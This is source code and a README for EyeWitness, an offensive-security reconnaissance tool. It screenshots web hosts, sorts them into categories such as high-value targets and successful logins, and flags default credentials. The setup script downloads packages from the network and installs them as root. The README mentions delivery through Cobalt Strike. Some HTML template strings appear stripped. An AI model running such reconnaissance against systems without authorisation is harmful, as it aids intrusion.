59 | grouped_elements.extend(unknowns) 60 | toc_table += ("<tr><td>{0}</td><td>{1}</td>").format(section, 61 | str(len(grouped_elements))) 62 | return grouped_elements, toc, toc_table, html 63 | 64 | 65 | 66 | def sort_data_and_write(cli_parsed, data): 67 | """Writes out reports for HTTP objects 68 | 69 | Args: 70 | cli_parsed (TYPE): CLI Options 71 | data (TYPE): Full set of data 72 | """ 73 | # We'll be using this number for our table of contents 74 | total_results = len(data) 75 | categories = [('highval', 'High Value Targets', 'highval'), 76 | ('virtualization', 'Virtualization','virtualization'), 77 | ('kvm','Remote Console/KVM','kvm'), 78 | ('dirlist', 'Directory Listings', 'dirlist'), 79 | ('cms', 'Content Management System (CMS)', 'cms'), 80 | ('idrac', 'IDRAC/ILo/Management Interfaces', 'idrac'), 81 | ('nas', 'Network Attached Storage (NAS)', 'nas'), 82 | ('comms', 'Communications', 'comms'), 83 | ('devops', 'Development Operations', 'devops'), 84 | ('secops', 'Security Operations', 'secops'), 85 | ('appops', 'Application Operations', 'appops'), 86 | ('dataops', 'Data Operations', 'dataops'), 87 | ('netdev', 'Network Devices', 'netdev'), 88 | ('voip', 'Voice/Video over IP (VoIP)', 'voip'), 89 | ('printer', 'Printers', 'printer'), 90 | ('camera', 'Cameras', 'camera'), 91 | ('infrastructure', 'Infrastructure', 'infrastructure'), 92 | (None, 'Uncategorized', 'uncat'), 93 | ('construction', 'Under Construction', 'construction'), 94 | ('crap', 'Splash Pages', 'crap'), 95 | ('empty', 'No Significant Content', 'empty'), 96 | ('unauth', '401/403 Unauthorized', 'unauth'), 97 | ('notfound', '404 Not Found', 'notfound'), 98 | ('successfulLogin', 'Successful Logins', 'successfulLogin'), 99 | ('identifiedLogin', 'Identified Logins', 'identifiedLogin'), 100 | ('redirector', 'Redirecting Pages', 'redirector'), 101 | ('badhost', 'Invalid Hostname', 'badhost'), 102 | ('inerror', 'Internal Error', 'inerror'), 103 | ('badreq', 'Bad Request', 'badreq'), 104 | ('badgw', 'Bad Gateway', 'badgw'), 105 | ('serviceunavailable', 'Service Unavailable', 'serviceunavailable'), 106 | ] 107 | if total_results == 0: 108 | return 109 | # Initialize stuff we need 110 | pages = [] 111 | toc = create_report_toc_head(cli_parsed.date, cli_parsed.time) 112 | toc_table = "<table class=\"table\">" 113 | web_index_head = create_web_index_head(cli_parsed.date, cli_parsed.time) 114 | table_head = create_table_head() 115 | counter = 1 116 | csv_request_data = "Protocol,Port,Domain,Resolved,Request Status,Title,Category,Default Creds,Screenshot Path, Source Path" 117 | 118 | # Generate and write json log of requests 119 | for json_request in data: 120 | url = urllib.parse.urlparse(json_request._remote_system) 121 | 122 | # Determine protocol 123 | csv_request_data += "\n" + url.scheme + "," 124 | if url.port is not None: 125 | csv_request_data += str(url.port) + "," 126 | elif url.scheme == 'http': 127 | csv_request_data += "80," 128 | elif url.scheme == 'https': 129 | csv_request_data += "443," 130 | try: 131 | csv_request_data += url.hostname + "," 132 | except TypeError: 133 | print("Error when accessing a target's hostname (it's not existent)") 134 | print("Possible bad url (improperly formatted) in the URL list.") 135 | print("Fix your list and re-try. Killing EyeWitness....") 136 | sys.exit(1) 137 | csv_request_data += json_request.resolved + "," 138 | if json_request._error_state == None: 139 | csv_request_data += "Successful," 140 | else: 141 | csv_request_data += json_request._error_state + "," 142 | try: 143 | csv_request_data += "\"" + (json_request._page_title).decode('UTF-8') + "\"," 144 | except: 145 | csv_request_data += "\"!Error\"," 146 | csv_request_data += str(json_request._category) + "," 147 | csv_request_data += "\"" + str(json_request._default_creds) + "\"," 148 | csv_request_data += json_request._screenshot_path + "," 149 | csv_request_data += json_request._source_path 150 | 151 | 152 | with open(os.path.join(cli_parsed.d, 'Requests.csv'), 'a') as f: 153 | f.write(csv_request_data) 154 | 155 | # Pre-filter error entries 156 | def key_lambda(k): 157 | if k.error_state is None: 158 | k.error_state = str(k.error_state) 159 | if k.page_title is None: 160 | k.page_title = str(k.page_title) 161 | return (k.error_state, k.page_title) 162 | errors = sorted([x for x in data if (x is not None) and (x.error_state is not None)], 163 | key=key_lambda) 164 | data[:] = [x for x in data if x.error_state is None] 165 | data = sorted(data, key=lambda k: str(k.page_title)) 166 | html = u"" 167 | # Loop over our categories and populate HTML 168 | for cat in categories: 169 | grouped, toc, toc_table, html = process_group( 170 | data, cat[0], toc, toc_table, len(pages), cat[1], cat[2], html) 171 | if len(grouped) > 0: 172 | html += table_head 173 | pcount = 0 174 | for obj in grouped: 175 | pcount += 1 176 | html += obj.create_table_html() 177 | if (counter % cli_parsed.results == 0) or (counter == (total_results) -1): 178 | html = (web_index_head + "EW_REPLACEME" + html + 179 | "</table><br>") 180 | pages.append(html) 181 | html = u"" 182 | if pcount < len(grouped): 183 | html += table_head 184 | counter += 1 185 | if len(grouped) > 0 and counter - 1 % cli_parsed.results != 0: 186 | html += "</table><br>" 187 | 188 | # Add our errors here (at the very very end) 189 | if len(errors) > 0: 190 | html += '<h2>Errors</h2>' 191 | html += table_head 192 | for obj in errors: 193 | html += obj.create_table_html() 194 | if (counter % cli_parsed.results == 0) or (counter == (total_results)): 195 | html = (web_index_head + "EW_REPLACEME" + html + 196 | "</table><br>") 197 | pages.append(html) 198 | html = u"" + table_head 199 | counter += 1 200 | 201 | # Close out any stuff thats hanging 202 | toc += "</ul>" 203 | toc_table += "<tr><td>Errors</td><td>{0}</td></tr>".format( 204 | str(len(errors))) 205 | toc_table += "<tr><th>Total</th><td>{0}</td></tr>".format(total_results) 206 | toc_table += "</table>" 207 | 208 | if (html != u"") and (counter - total_results != 0): 209 | html = (web_index_head + "EW_REPLACEME" + html + 210 | "</table><br>") 211 | pages.append(html) 212 | 213 | toc = "<center>{0}<br><br>{1}<br><br></center>".format(toc, toc_table) 214 | 215 | if len(pages) == 1: 216 | with open(os.path.join(cli_parsed.d, 'report.html'), 'a') as f: 217 | f.write(toc) 218 | f.write(pages[0].replace('EW_REPLACEME', '')) 219 | f.write("</body>\n</html>") 220 | else: 221 | num_pages = len(pages) + 1 222 | bottom_text = "\n<center><br>" 223 | bottom_text += ("<a href=\"report.html\"> Page 1</a>") 224 | skip_last_dummy = False 225 | # Generate our header/footer data here 226 | for i in range(2, num_pages): 227 | badd_page = "</center>EW_REPLACEME<table border=\"1\">\n <tr>\n <th>Web Request Info</th>\n <th>Web Screenshot</th>\n </tr></table><br>" 228 | if badd_page in pages[i-1]: 229 | skip_last_dummy = True 230 | pass 231 | else: 232 | bottom_text += ("<a href=\"report_page{0}.html\"> Page {0}</a>").format(str(i)) 233 | bottom_text += "</center>\n" 234 | top_text = bottom_text 235 | # Generate our next/previous page buttons 236 | if skip_last_dummy: 237 | amount = len(pages) - 1 238 | else: 239 | amount = len(pages) 240 | for i in range(0, amount): 241 | headfoot = "<h3>Page {0}</h3>".format(str(i+1)) 242 | headfoot += "<center>" 243 | if i == 0: 244 | headfoot += ("<a href=\"report_page2.html\" id=\"next\"> Next Page " 245 | "</a></center>") 246 | elif i == amount - 1: 247 | if i == 1: 248 | headfoot += ("<a href=\"report.html\" id=\"previous\"> Previous Page " 249 | "</a></center>") 250 | else: 251 | headfoot += ("<a href=\"report_page{0}.html\" id=\"previous\"> Previous Page " 252 | "</a></center>").format(str(i)) 253 | elif i == 1: 254 | headfoot += ("<a href=\"report.html\" id=\"previous\">Previous Page</a> " 255 | "<a href=\"report_page{0}.html\" id=\"next\"> Next Page" 256 | "</a></center>").format(str(i+2)) 257 | else: 258 | headfoot += ("<a href=\"report_page{0}.html\" id=\"previous\">Previous Page</a>" 259 | " <a href=\"report_page{1}.html\" id=\"next\"> Next Page" 260 | "</a></center>").format(str(i), str(i+2)) 261 | # Finalize our pages by replacing placeholder stuff and writing out 262 | # the headers/footers 263 | pages[i] = pages[i].replace( 264 | 'EW_REPLACEME', headfoot + top_text) + bottom_text + '<br>' + headfoot + '</body></html>' 265 | 266 | # Write out our report to disk! 267 | if len(pages) == 0: 268 | return 269 | with open(os.path.join(cli_parsed.d, 'report.html'), 'a') as f: 270 | f.write(toc) 271 | f.write(pages[0]) 272 | write_out = len(pages) 273 | for i in range(2, write_out + 1): 274 | bad_page = "<table border=\"1\">\n <tr>\n <th>Web Request Info</th>\n <th>Web Screenshot</th>\n </tr></table><br>\n<center><br><a " 275 | badd_page2 = "</center>EW_REPLACEME<table border=\"1\">\n <tr>\n <th>Web Request Info</th>\n <th>Web Screenshot</th>\n </tr></table><br>" 276 | if (bad_page in pages[i-1]) or (badd_page2 in pages[i-1]): 277 | pass 278 | else: 279 | with open(os.path.join(cli_parsed.d, 'report_page{0}.html'.format(str(i))), 'w') as f: 280 | f.write(pages[i - 1]) 281 | 282 | 283 | def create_web_index_head(date, time): 284 | """Creates the header for a http report 285 | 286 | Args: 287 | date (String): Date of report start 288 | time (String): Time of report start 289 | 290 | Returns: 291 | String: HTTP Report Start html 292 | """ 293 | return ("""<html> 294 | <head> 295 | <link rel=\"stylesheet\" href=\"bootstrap.min.css\" type=\"text/css\"/> 296 | <link rel=\"stylesheet\" href=\"style.css\" type=\"text/css\"/> 297 | <title>EyeWitness Report 298 | 299 | 332 | 333 | 334 |
335 |
Report Generated on {0} at {1}
""").format(date, time) 336 | 337 | 338 | def search_index_head(): 339 | return (""" 340 | 341 | 342 | EyeWitness Report 343 | 344 | 356 | 357 | 358 |
359 | """) 360 | 361 | 362 | def create_table_head(): 363 | return (""" 364 | 365 | 366 | 367 | """) 368 | 369 | 370 | def create_report_toc_head(date, time): 371 | return (""" 372 | 373 | EyeWitness Report Table of Contents 374 | 375 |

Table of Contents

""") 376 | 377 | 378 | def search_report(cli_parsed, data, search_term): 379 | pages = [] 380 | web_index_head = search_index_head() 381 | table_head = create_table_head() 382 | counter = 1 383 | 384 | data[:] = [x for x in data if x.error_state is None] 385 | data = sorted(data, key=lambda k: k.page_title) 386 | html = u"" 387 | 388 | # Add our errors here (at the very very end) 389 | html += '

Results for {0}

'.format(search_term) 390 | html += table_head 391 | for obj in data: 392 | html += obj.create_table_html() 393 | if counter % cli_parsed.results == 0: 394 | html = (web_index_head + "EW_REPLACEME" + html + 395 | "
Web Request InfoWeb Screenshot

") 396 | pages.append(html) 397 | html = u"" + table_head 398 | counter += 1 399 | 400 | if html != u"": 401 | html = (web_index_head + html + "
") 402 | pages.append(html) 403 | 404 | if len(pages) == 1: 405 | with open(os.path.join(cli_parsed.d, 'search.html'), 'a') as f: 406 | f.write(pages[0].replace('EW_REPLACEME', '')) 407 | f.write("\n") 408 | else: 409 | num_pages = len(pages) + 1 410 | bottom_text = "\n

" 411 | bottom_text += (" Page 1") 412 | # Generate our header/footer data here 413 | for i in range(2, num_pages): 414 | bottom_text += (" Page {0}").format( 415 | str(i)) 416 | bottom_text += "
\n" 417 | top_text = bottom_text 418 | # Generate our next/previous page buttons 419 | for i in range(0, len(pages)): 420 | headfoot = "
" 421 | if i == 0: 422 | headfoot += (" Next Page " 423 | "
") 424 | elif i == len(pages) - 1: 425 | if i == 1: 426 | headfoot += (" Previous Page " 427 | "
") 428 | else: 429 | headfoot += (" Previous Page " 430 | "
").format(str(i)) 431 | elif i == 1: 432 | headfoot += ("Previous Page " 433 | " Next Page" 434 | "
").format(str(i+2)) 435 | else: 436 | headfoot += ("Previous Page" 437 | "  Next Page" 438 | "
").format(str(i), str(i+2)) 439 | # Finalize our pages by replacing placeholder stuff and writing out 440 | # the headers/footers 441 | pages[i] = pages[i].replace( 442 | 'EW_REPLACEME', headfoot + top_text) + bottom_text + '
' + headfoot + '' 443 | 444 | # Write out our report to disk! 445 | if len(pages) == 0: 446 | return 447 | with open(os.path.join(cli_parsed.d, 'search.html'), 'a') as f: 448 | try: 449 | f.write(pages[0]) 450 | except UnicodeEncodeError: 451 | f.write(pages[0].encode('utf-8')) 452 | for i in range(2, len(pages) + 1): 453 | with open(os.path.join(cli_parsed.d, 'search_page{0}.html'.format(str(i))), 'w') as f: 454 | try: 455 | f.write(pages[i - 1]) 456 | except UnicodeEncodeError: 457 | f.write(pages[i - 1].encode('utf-8')) 458 | -------------------------------------------------------------------------------- /Python/modules/selenium_module.py: -------------------------------------------------------------------------------- 1 | import http.client 2 | import os 3 | import socket 4 | import sys 5 | import urllib.request 6 | import urllib.error 7 | import ssl 8 | 9 | try: 10 | from ssl import CertificateError as sslerr 11 | except: 12 | from ssl import SSLError as sslerr 13 | 14 | try: 15 | from selenium import webdriver 16 | from selenium.webdriver.firefox.options import Options 17 | from selenium.common.exceptions import NoAlertPresentException 18 | from selenium.common.exceptions import TimeoutException 19 | from selenium.common.exceptions import UnexpectedAlertPresentException 20 | from selenium.common.exceptions import WebDriverException 21 | from selenium.webdriver.common.desired_capabilities import DesiredCapabilities 22 | except ImportError: 23 | print('[*] Selenium not found.') 24 | print('[*] Please run the script in the setup directory!') 25 | sys.exit() 26 | 27 | from modules.helpers import do_delay 28 | 29 | def create_driver(cli_parsed, user_agent=None): 30 | """Creates a selenium FirefoxDriver 31 | 32 | Args: 33 | cli_parsed (ArgumentParser): Command Line Object 34 | user_agent (String, optional): Optional user-agent string 35 | 36 | Returns: 37 | FirefoxDriver: Selenium Firefox Webdriver 38 | """ 39 | profile = webdriver.FirefoxProfile() 40 | # Load our custom firefox addon to handle basic auth. 41 | extension_path = os.path.join( 42 | os.path.dirname(os.path.realpath(__file__)), 43 | '..', 'bin', 'dismissauth.xpi') 44 | profile.add_extension(extension_path) 45 | profile.accept_untrusted_certs = True 46 | 47 | # This user agent case covers a user provided one 48 | if cli_parsed.user_agent is not None: 49 | profile.set_preference( 50 | 'general.useragent.override', cli_parsed.user_agent) 51 | 52 | # This user agent case should only be hit when cycling 53 | if user_agent is not None: 54 | profile.set_preference('general.useragent.override', user_agent) 55 | 56 | # Set up our proxy information directly in the firefox profile 57 | if cli_parsed.proxy_ip is not None and cli_parsed.proxy_port is not None: 58 | profile.set_preference('network.proxy.type', 1) 59 | if "socks" in cli_parsed.proxy_type: 60 | profile.set_preference('network.proxy.socks', cli_parsed.proxy_ip) 61 | profile.set_preference('network.proxy.socks_port', cli_parsed.proxy_port) 62 | else: 63 | profile.set_preference('network.proxy.http', cli_parsed.proxy_ip) 64 | profile.set_preference( 65 | 'network.proxy.http_port', cli_parsed.proxy_port) 66 | profile.set_preference('network.proxy.ssl', cli_parsed.proxy_ip) 67 | profile.set_preference('network.proxy.ssl_port', cli_parsed.proxy_port) 68 | 69 | profile.set_preference('app.update.enabled', False) 70 | profile.set_preference('browser.search.update', False) 71 | profile.set_preference('extensions.update.enabled', False) 72 | 73 | try: 74 | capabilities = DesiredCapabilities.FIREFOX.copy() 75 | capabilities.update({'acceptInsecureCerts': True}) 76 | options = Options() 77 | options.add_argument("--headless") 78 | profile.update_preferences() 79 | driver = webdriver.Firefox(profile, capabilities=capabilities, options=options, service_log_path=cli_parsed.selenium_log_path) 80 | driver.set_page_load_timeout(cli_parsed.timeout) 81 | driver.set_window_size(cli_parsed.width,cli_parsed.height) 82 | return driver 83 | except Exception as e: 84 | if 'Failed to find firefox binary' in str(e): 85 | print('Firefox not found!') 86 | print('You can fix this by installing Firefox/Iceweasel\ 87 | or using phantomjs/ghost') 88 | else: 89 | print(e) 90 | sys.exit() 91 | 92 | 93 | def capture_host(cli_parsed, http_object, driver, ua=None): 94 | """Screenshots a single host, saves information, and returns 95 | a complete HTTP Object 96 | 97 | Args: 98 | cli_parsed (ArgumentParser): Command Line Object 99 | http_object (HTTPTableObject): Object containing data relating to current URL 100 | driver (FirefoxDriver): webdriver instance 101 | ua (String, optional): Optional user agent string 102 | 103 | Returns: 104 | HTTPTableObject: Complete http_object 105 | """ 106 | 107 | # Attempt to take the screenshot 108 | try: 109 | # If cookie is presented we need to avoid cookie-averse error. To do so, we need to get the page twice. 110 | driver.get(http_object.remote_system) 111 | if cli_parsed.cookies is not None: 112 | for cookie in cli_parsed.cookies: 113 | driver.add_cookie(cookie) 114 | driver.get(http_object.remote_system) 115 | except KeyboardInterrupt: 116 | print('[*] Skipping: {0}'.format(http_object.remote_system)) 117 | http_object.error_state = 'Skipped' 118 | http_object.page_title = 'Page Skipped by User' 119 | except TimeoutException: 120 | print('[*] Hit timeout limit when connecting to {0}, retrying'.format(http_object.remote_system)) 121 | driver.quit() 122 | driver = create_driver(cli_parsed, ua) 123 | http_object.error_state = 'Timeout' 124 | except http.client.BadStatusLine: 125 | print('[*] Bad status line when connecting to {0}'.format(http_object.remote_system)) 126 | http_object.error_state = 'BadStatus' 127 | return http_object, driver 128 | except WebDriverException: 129 | print('[*] WebDriverError when connecting to {0}'.format(http_object.remote_system)) 130 | http_object.error_state = 'BadStatus' 131 | return http_object, driver 132 | 133 | # Dismiss any alerts present on the page 134 | # Will not work for basic auth dialogs! 135 | try: 136 | alert = driver.switch_to.alert 137 | alert.dismiss() 138 | except Exception as e: 139 | pass 140 | 141 | # If we hit a timeout earlier, retry once 142 | if http_object.error_state == 'Timeout': 143 | retry_counter = 0 144 | return_status = False 145 | while retry_counter < cli_parsed.max_retries: 146 | http_object.error_state = None 147 | try: 148 | driver.get(http_object.remote_system) 149 | if cli_parsed.cookies is not None: 150 | for cookie in cli_parsed.cookies: 151 | driver.add_cookie(cookie) 152 | driver.get(http_object.remote_system) 153 | break 154 | except TimeoutException: 155 | # Another timeout results in an error state and a return 156 | print('[*] Hit timeout limit when connecting to {0}'.format(http_object.remote_system)) 157 | http_object.error_state = 'Timeout' 158 | http_object.page_title = 'Timeout Limit Reached' 159 | http_object.headers = {} 160 | driver.quit() 161 | driver = create_driver(cli_parsed, ua) 162 | return_status = True 163 | except KeyboardInterrupt: 164 | print('[*] Skipping: {0}'.format(http_object.remote_system)) 165 | http_object.error_state = 'Skipped' 166 | http_object.page_title = 'Page Skipped by User' 167 | break 168 | except http.client.BadStatusLine: 169 | print('[*] Bad status line when connecting to {0}'.format(http_object.remote_system)) 170 | http_object.error_state = 'BadStatus' 171 | return_status = True 172 | break 173 | except WebDriverException: 174 | print('[*] WebDriverError when connecting to {0}'.format(http_object.remote_system)) 175 | http_object.error_state = 'BadStatus' 176 | return_status = True 177 | break 178 | retry_counter += 1 179 | 180 | # Determine if I need to return the objects 181 | if return_status: 182 | return http_object, driver 183 | 184 | try: 185 | alert = driver.switch_to.alert 186 | alert.dismiss() 187 | except Exception as e: 188 | pass 189 | 190 | do_delay(cli_parsed) 191 | 192 | # Save our screenshot to the specified directory 193 | try: 194 | driver.save_screenshot(http_object.screenshot_path) 195 | except WebDriverException as e: 196 | print('[*] Error saving web page screenshot' 197 | ' for ' + http_object.remote_system) 198 | 199 | # Get our headers using urllib 200 | context = None 201 | try: 202 | context = ssl.create_default_context() 203 | context.check_hostname = False 204 | context.verify_mode = ssl.CERT_NONE 205 | except: 206 | context = None 207 | pass 208 | 209 | if cli_parsed.user_agent: 210 | tempua = cli_parsed.user_agent 211 | else: 212 | try: 213 | tempua = driver.execute_script("return navigator.userAgent") 214 | except: 215 | tempua = '' 216 | try: 217 | req = urllib.request.Request(http_object.remote_system, headers={'User-Agent': tempua}) 218 | if cli_parsed.proxy_ip is not None: 219 | req.set_proxy(str(cli_parsed.proxy_ip) + ':' + str(cli_parsed.proxy_port), 'http') 220 | req.set_proxy(str(cli_parsed.proxy_ip) + ':' + str(cli_parsed.proxy_port), 'https') 221 | if context is None: 222 | opened = urllib.request.urlopen(req, timeout=cli_parsed.timeout) 223 | else: 224 | opened = urllib.request.urlopen(req,timeout=cli_parsed.timeout, context=context) 225 | headers = dict(opened.info()) 226 | headers['Response Code'] = str(opened.getcode()) 227 | except urllib.error.HTTPError as e: 228 | responsecode = e.code 229 | if responsecode == 404: 230 | http_object.category = 'notfound' 231 | elif responsecode == 403 or responsecode == 401: 232 | http_object.category = 'unauth' 233 | elif responsecode == 500: 234 | http_object.category = 'inerror' 235 | elif responsecode == 400: 236 | http_object.category = 'badreq' 237 | headers = dict(e.headers) 238 | headers['Response Code'] = str(e.code) 239 | except urllib.error.URLError as e: 240 | if '104' in str(e.reason): 241 | headers = {'Error': 'Connection Reset'} 242 | http_object.error_state = 'ConnReset' 243 | return http_object, driver 244 | elif '111' in str(e.reason): 245 | headers = {'Error': 'Connection Refused'} 246 | http_object.error_state = 'ConnRefuse' 247 | return http_object, driver 248 | elif 'Errno 1' in str(e.reason) and 'SSL23' in str(e.reason): 249 | headers = {'Error': 'SSL Handshake Error'} 250 | http_object.error_state = 'SSLHandshake' 251 | return http_object, driver 252 | elif 'Errno 8' in str(e.reason) and 'EOF occurred' in str(e.reason): 253 | headers = {'Error': 'SSL Handshake Error'} 254 | http_object.error_state = 'SSLHandshake' 255 | return http_object, driver 256 | else: 257 | headers = {'Error': 'HTTP Error...'} 258 | http_object.error_state = 'BadStatus' 259 | return http_object, driver 260 | except socket.error as e: 261 | if e.errno == 104: 262 | headers = {'Error': 'Connection Reset'} 263 | http_object.error_state = 'ConnReset' 264 | return http_object, driver 265 | elif e.errno == 10054: 266 | headers = {'Error': 'Connection Reset'} 267 | http_object.error_state = 'ConnReset' 268 | return http_object, driver 269 | elif 'timed out' in str(e): 270 | headers = {'Error': 'Timed Out'} 271 | http_object.error_state = 'Timeout' 272 | print('[*] Socket Timeout when connecting to {0}'.format(http_object.remote_system)) 273 | return http_object, driver 274 | else: 275 | http_object.error_state = 'BadStatus' 276 | return http_object, driver 277 | except http.client.BadStatusLine: 278 | http_object.error_state = 'BadStatus' 279 | return http_object, driver 280 | except sslerr: 281 | headers = {'Error': 'Invalid SSL Certificate'} 282 | http_object.ssl_error = True 283 | except TypeError: 284 | headers = {'Error': 'Communication Error'} 285 | http_object.error_state = 'BadStatus' 286 | return http_object, driver 287 | except Exception: 288 | headers = {'Error': 'Communication Error'} 289 | http_object.error_state = 'BadStatus' 290 | return http_object, driver 291 | 292 | try: 293 | http_object.page_title = 'Unknown' if driver.title == '' else driver.title.encode( 294 | 'utf-8') 295 | except Exception: 296 | http_object.page_title = 'Unable to Display' 297 | # Save page source to the object and to a file. Also set the title in the object 298 | try: 299 | http_object.headers = headers 300 | http_object.source_code = driver.page_source.encode('utf-8') 301 | with open(http_object.source_path, 'w') as f: 302 | f.write(http_object.source_code.decode()) 303 | except UnexpectedAlertPresentException: 304 | with open(http_object.source_path, 'w') as f: 305 | f.write('Cannot render webpage') 306 | http_object.headers = {'Cannot Render Web Page': 'n/a'} 307 | except IOError: 308 | print("[*] ERROR: URL too long, surpasses max file length.") 309 | print("[*] ERROR: Skipping: " + http_object.remote_system) 310 | except WebDriverException: 311 | print("[*] ERROR: Skipping source code capture for: " + http_object.remote_system) 312 | except Exception: 313 | print("[*] ERROR: Skipping source code capture for: " + http_object.remote_system) 314 | 315 | return http_object, driver 316 | -------------------------------------------------------------------------------- /Python/setup/requirements.txt: -------------------------------------------------------------------------------- 1 | fuzzywuzzy 2 | selenium==4.9.1 3 | python-Levenshtein 4 | pyvirtualdisplay 5 | netaddr 6 | -------------------------------------------------------------------------------- /Python/setup/setup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Original script by @themightyshiv 3 | # Rewritten by moth@bhis (@0x6d6f7468) 4 | 5 | # Function for downloading latest geckodriver for the correct CPU architecture 6 | get_gecko() { 7 | echo 8 | echo "[*] Getting latest Gecko driver..." 9 | 10 | # Get download links for latest geckodriver via GitHub API 11 | local latest_geckos=$(curl -s https://api.github.com/repos/mozilla/geckodriver/releases/latest \ 12 | | jq '.assets[].browser_download_url' | tr -d \") 13 | 14 | # Construct appropriate download URL (or exit if unsupported arch) 15 | local gecko_url=""; 16 | case ${mach_type} in 17 | x86_64) 18 | gecko_url=$(echo "$latest_geckos" | grep "linux64.tar.gz$");; 19 | i386|i686) 20 | gecko_url=$(echo "$latest_geckos" | grep "linux32.tar.gz$");; 21 | aarch64) 22 | gecko_url=$(echo "$latest_geckos" | grep "linux-aarch64.tar.gz$");; 23 | *) 24 | echo "[-] Error: Unsupported architecture: ${mach_type}" 25 | popd >/dev/null 26 | exit 1 27 | ;; 28 | esac 29 | 30 | # Download, extract, and clean up latest driver tarball 31 | wget "$gecko_url" -O geckodriver.tar.gz 32 | tar -xvf geckodriver.tar.gz -C /usr/bin 33 | rm geckodriver.tar.gz 34 | } 35 | 36 | # Function to install Linux and Python dependencies 37 | install_deps() { 38 | echo 39 | echo "[*] Installing system dependencies..." 40 | 41 | case ${os_id} in 42 | debian|kali) 43 | apt-get update 44 | apt-get install -y wget curl jq cmake python3 xvfb python3-pip python3-netaddr python3-dev firefox-esr tar 45 | ;; 46 | ubuntu|linuxmint) 47 | apt-get update 48 | apt-get install -y wget curl jq cmake python3 xvfb python3-pip python3-netaddr python3-dev firefox x11-utils tar 49 | ;; 50 | arch|manjaro) 51 | pacman -Syu 52 | pacman -S --noconfirm wget curl jq cmake python3 python-xvfbwrapper python-pip python-netaddr firefox tar 53 | ;; 54 | alpine) 55 | apk update 56 | apk add wget curl jq cmake python3 xvfb py-pip py-netaddr python3-dev firefox tar 57 | 58 | # from https://stackoverflow.com/questions/58738920/running-geckodriver-in-an-alpine-docker-container 59 | # Get all the prereqs 60 | wget -q -O /etc/apk/keys/sgerrand.rsa.pub https://alpine-pkgs.sgerrand.com/sgerrand.rsa.pub 61 | wget https://github.com/sgerrand/alpine-pkg-glibc/releases/download/2.30-r0/glibc-2.30-r0.apk 62 | wget https://github.com/sgerrand/alpine-pkg-glibc/releases/download/2.30-r0/glibc-bin-2.30-r0.apk 63 | apk add glibc-2.30-r0.apk 64 | apk add glibc-bin-2.30-r0.apk 65 | 66 | # And of course we need Firefox if we actually want to *use* GeckoDriver 67 | apk add firefox-esr=60.9.0-r0 68 | ;; 69 | centos|rocky|fedora) 70 | yum install -y wget curl jq python3 xorg-x11-server-Xvfb python3-pip firefox gcc cmake python3-devel gcc cmake python3-devel tar 71 | ;; 72 | *) 73 | echo "[-] Error: Unsupported Operating System ID: ${os_id}" 74 | popd >/dev/null 75 | exit 1 76 | ;; 77 | esac 78 | 79 | echo 80 | echo "[*] Installing Python dependencies..." 81 | pip3 install --upgrade pip 82 | python3 -m pip install -r requirements.txt 83 | } 84 | 85 | # Make sure we're in the setup directory 86 | pushd "$(dirname "$0")" >/dev/null 87 | 88 | # Make sure we're running as root 89 | echo 90 | echo "[*] Checking if running as root..." 91 | if [ "$EUID" -ne 0 ]; then 92 | echo "[-] Error: You must run this setup script with root privileges." 93 | echo 94 | popd >/dev/null 95 | exit 1 96 | else 97 | echo "[+] Running as root." 98 | fi 99 | 100 | # Get some system information 101 | echo 102 | echo "[*] Getting system information..." 103 | os_id=$(grep ^ID= /etc/os-release | cut -d'=' -f2 | tr -d '"') 104 | mach_type=$(uname -m) 105 | 106 | # Install dependencies 107 | install_deps 108 | 109 | # Get the gecko 110 | get_gecko 111 | 112 | # Get out of there! 113 | popd >/dev/null 114 | 115 | # Print success message 116 | echo 117 | echo "[+] Setup script completed successfully. Enjoy EyeWitness! ^_^" 118 | echo "[*] Be sure to check out Red Siege!" 119 | echo "[*] https://www.redsiege.com" 120 | echo 121 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | EyeWitness 2 | ====== 3 | 4 | EyeWitness is designed to take screenshots of websites provide some server header info, and identify default credentials if known. 5 | 6 | EyeWitness is designed to run on Kali Linux. It will auto detect the file you give it with the -f flag as either being a text file with URLs on each new line, nmap xml output, or nessus xml output. The --timeout flag is completely optional, and lets you provide the max time to wait when trying to render and screenshot a web page. 7 | 8 | A complete usage guide which documents EyeWitness features and its typical use cases is available here - https://www.christophertruncer.com/eyewitness-2-0-release-and-user-guide/ 9 | 10 | ## Windows 11 | Red Siege has created a Windows client (thanks to the massive help of Matt Grandy (@Matt_Grandy_) with the stability fixes). All you need to do is build it locally (or check the releases), and then provide a path to a file containing the URLs you want scanned! EyeWitness will generate the report within your "AppData\Roaming" directory. The latest version of the C# EyeWitness supports parsing and taking screenshots of Internet Explorer and Chrome bookmarks without having to supply a list of URLs. This version is also small enough to be delivered through Cobalt Strike's execute-assembly. 12 | 13 | ### Setup: 14 | 1. Navigate into the CS directory 15 | 2. Load EyeWitness.sln into Visual Studio 16 | 3. Go to Build at the top and then Build Solution if no modifications are wanted 17 | 18 | ### Usage: 19 | ```bash 20 | EyeWitness.exe --help 21 | EyeWitness.exe --bookmarks 22 | EyeWitness.exe -f C:\Path\to\urls.txt 23 | EyeWitness.exe --file C:\Path\to\urls.txt --delay [timeout in seconds] --compress 24 | ``` 25 | 26 | ## Linux 27 | 28 | ###### Supported Linux Distros: 29 | * Kali Linux 30 | * Debian 7+ (at least stable, looking into testing) (Thanks to @themightyshiv) 31 | * CentOS 7 32 | * Rocky Linux 8 33 | 34 | **E-Mail:** GetOffensive [@] redsiege [dot] com 35 | 36 | ### Setup: 37 | 1. Navigate into the Python/setup directory 38 | 2. Run the setup.sh script 39 | 40 | ### Usage: 41 | ```bash 42 | ./EyeWitness.py -f filename --timeout optionaltimeout 43 | ``` 44 | 45 | ### Examples: 46 | ```bash 47 | ./EyeWitness -f urls.txt --web 48 | 49 | ./EyeWitness -x urls.xml --timeout 8 50 | 51 | ./EyeWitness.py -f urls.txt --web --proxy-ip 127.0.0.1 --proxy-port 8080 --proxy-type socks5 --timeout 120 52 | ``` 53 | 54 | ### Proxy Usage 55 | The best guide for proxying EyeWitness through a socks proxy was made by @raikia and is available here - https://github.com/RedSiege/EyeWitness/issues/458 56 | 57 | To install EyeWitness from a system while needing to go through a proxy, the following commands (thanks to @digininja) can be used. 58 | 59 | ```bash 60 | APT 61 | ------- 62 | /etc/apt/apt.conf.d/70proxy 63 | 64 | $ cat /etc/apt/apt.conf.d/70proxy 65 | Acquire::http::proxy "http://localhost:3128"; 66 | Acquire::https::proxy "https://localhost:3128"; 67 | 68 | Git 69 | ----------------- 70 | $ cat 